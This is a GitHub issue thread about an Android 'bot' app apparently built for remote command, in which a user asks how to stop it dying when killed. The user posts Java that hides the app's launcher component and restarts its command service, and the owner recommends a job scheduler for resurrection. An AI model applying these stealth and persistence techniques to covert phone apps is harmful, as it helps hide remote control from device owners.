Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Bot Dies no Ressurrection #10

Open
buffer1900 opened this issue May 16, 2018 · 1 comment
Open

Bot Dies no Ressurrection #10

buffer1900 opened this issue May 16, 2018 · 1 comment

Comments

@buffer1900
Copy link

I tried Killing it and waited for some minutes nothing 30 minutes bot is offline,,
i have tried this :
PackageManager i = getApplicationContext().getPackageManager();
i.setComponentEnabledSetting(getComponentName(),PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);

    if(isMyServiceRunning()==false)
    {
        startService(new Intent(getApplicationContext(), CommandService.class));
        Log.i("com.android.adobot","startService");

private boolean isMyServiceRunning() {
ActivityManager manager = (ActivityManager) getApplicationContext().getSystemService(Context.ACTIVITY_SERVICE);
for (ActivityManager.RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
if (CommandService.class.getName().equals(service.service.getClassName())) {
return true;
}
}
return false;
}

nothing works
Bot offline.
How i wish its able to auto start after killing that's apply same as the phone shutting down then restarts so the app auto starts.

@adonespitogo
Copy link
Owner

Try the new version of this app. I used job scheduler to resurrect the app. Let me know your results.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants